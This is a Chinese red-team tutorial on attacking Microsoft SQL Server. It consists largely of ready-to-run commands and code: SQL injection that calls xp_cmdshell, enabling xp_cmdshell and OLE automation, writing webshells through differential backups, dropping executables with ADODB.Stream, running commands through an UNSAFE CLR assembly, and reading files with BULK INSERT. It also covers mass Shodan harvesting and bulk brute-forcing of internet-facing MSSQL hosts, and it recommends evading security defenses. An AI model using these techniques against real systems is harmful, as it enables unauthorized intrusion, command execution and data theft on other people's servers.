红队必修课之针对MSSQL数据库攻击尝试
字数 1302 2025-08-07 00:35:01
MSSQL数据库攻击技术全面指南
0x00 前言
MSSQL数据库作为企业级数据库解决方案,在红队渗透测试中具有重要价值。本文全面梳理了针对MSSQL数据库的攻击技术,包括权限获取、命令执行、文件操作等关键技术点。
0x01 数据库权限获取方法
1.1 数据库口令枚举
工具推荐:
-
fscan - 内网综合扫描工具
- 支持主机探测、端口扫描、服务爆破
- 项目地址:https://github.com/shadow1ng/fscan
-
SNETCracker - Windows平台弱口令审计工具
- 支持SSH/RDP/SMB/MySQL/SQLServer等多种服务
- 特点:批量多线程检查、自定义端口和字典
- 项目地址:https://github.com/shack2/SNETCracker
1.2 SQL注入漏洞利用
工具推荐:
-
Xray - 安全评估工具
- 可检测XSS、SQL注入、命令注入等漏洞
- 支持POC框架扩展
- 文档:https://docs.xray.cool/#/
-
SQLMap - SQL注入专业工具
- 自动化检测和利用SQL注入漏洞
- 支持多种数据库渗透测试
- 官网:http://sqlmap.org/
1.3 数据库管理工具
HeidiSQL - 多数据库管理工具
- 支持MariaDB/MySQL/MSSQL/PostgreSQL/SQLite
- 官网:https://www.heidisql.com/
0x02 实战攻击技术
2.1 SQL语句执行方法
方法一:SQL注入执行
CursoTextBox=1%';EXEC master.dbo.xp_cmdshell 'whoami';--
方法二:数据库管理工具
- SQL Server Management Studio - 官方管理工具
- NewOSql - 轻量级命令行工具
- 项目地址:https://github.com/flight-tom/NewOSql
- 示例命令:
oSQL.exe -S 192.168.142.113 -U sa -P admin@123 -o .\logs.txt -i whoami.sql -d master -e .\excel.csv
- sqlcmd - 微软官方命令行工具
- 需要安装ODBC Driver和sqlcmd Utility
- 连接命令:
sqlcmd -S 192.168.142.113 -U sa -P admin@123
2.2 文件操作技术
文件内容转16进制脚本
#!/usr/bin/env python
import binascii
import sys
import os
def str2hex(string):
hexstr=binascii.b2a_hex(bytes(string, encoding='utf-8'))
out = bytes("0x", encoding='utf-8')
out = out + hexstr
print(out)
def b2a(filename):
with open(filename,'rb') as f:
hexstr=binascii.b2a_hex(f.read())
out = bytes("0x", encoding='utf-8')
out = out + hexstr
print(out)
if __name__=="__main__":
filename = sys.argv[1]
if os.path.exists(filename):
b2a(filename)
else:
str2hex(filename)
场景一:差异备份获取webshell
- 创建数据库:
create database vulntest; use vulntest; - 备份数据库:
backup database vulntest to disk = 'c:\ddd.bak' - 创建表并插入内容:
create table [dbo].[vulntest] ([cmd] [image]); insert into vulntest(cmd) values(0x56756c6e54657374); - 差异备份:
backup database vulntest to disk='c:\vuln.txt' WITH DIFFERENTIAL,FORMAT;
场景二:上传二进制文件
- 启用Ole Automation Procedures:
sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; - 写入文本文件:
DECLARE @OLE INT DECLARE @FileID INT EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\info.txt', 8, 1 EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, 'test' EXECUTE sp_OADestroy @FileID EXECUTE sp_OADestroy @OLE - 写入二进制文件:
DECLARE @ObjectToken INT EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT EXEC sp_OASetProperty @ObjectToken, 'Type', 1 EXEC sp_OAMethod @ObjectToken, 'Open' EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0xhex EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, 'c:\Test.exe', 2 EXEC sp_OAMethod @ObjectToken, 'Close' EXEC sp_OADestroy @ObjectToken
2.3 系统命令执行技术
场景一:xp_cmdshell
- 检查状态:
select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'; - 开启xp_cmdshell:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; - 执行命令:
exec master..xp_cmdshell 'whoami' - 恢复删除的xp_cmdshell:
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','C:\\Program Files (x86)\\Microsoft SQL Server\\MSSQL.1\\MSSQL\\Binn\\xplog70.dll';
场景二:SP_OACREATE
- 检查状态:
select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'; - 开启组件:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; - 执行命令:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\test.txt'
场景三:CLR执行
- 创建C# CLR项目(VS2015+)
- 关键代码:
using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using System.Diagnostics; using System.Text; using Microsoft.SqlServer.Server; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void ExecCommand (string cmd) { SqlContext.Pipe.Send("Command is running, please wait."); SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd)); } // 其余代码省略... } - 数据库部署:
sp_configure 'clr enabled', 1 GO RECONFIGURE GO ALTER DATABASE master SET TRUSTWORTHY ON; CREATE ASSEMBLY [ExecCode] FROM 0x4D5A900003... WITH PERMISSION_SET = UNSAFE; CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [ExecCode].[StoredProcedures].[ExecCommand] - 执行命令:
exec dbo.ExecCommand "whoami";
2.4 外网目标发现与利用
2.4.1 Shodan搜索
shodan init shodanAPIKEY
shodan download --limit 1000000 mysql.txt product:"MS-SQL"
2.4.2 批量爆破工具
使用PortBrute进行批量爆破:
PortBruteWin.exe -f mssqlipport.txt -u user.txt -p pass.txt -t 100
2.4.3 绕过限制技巧
- 列目录:
exec xp_subdirs 'C:'; exec xp_dirtree 'c:',1,1 - 读取文件:
create table cmd (a text); BULK INSERT cmd FROM 'c:/RlgwMCS.ini' WITH (FIELDTERMINATOR = 'n', ROWTERMINATOR = 'nn') select * from cmd
0x03 总结
本文详细介绍了针对MSSQL数据库的完整攻击链,从权限获取到系统命令执行,涵盖了多种实用技术和工具。在实际渗透测试中,需要根据目标环境选择合适的技术组合,并注意规避安全防护措施。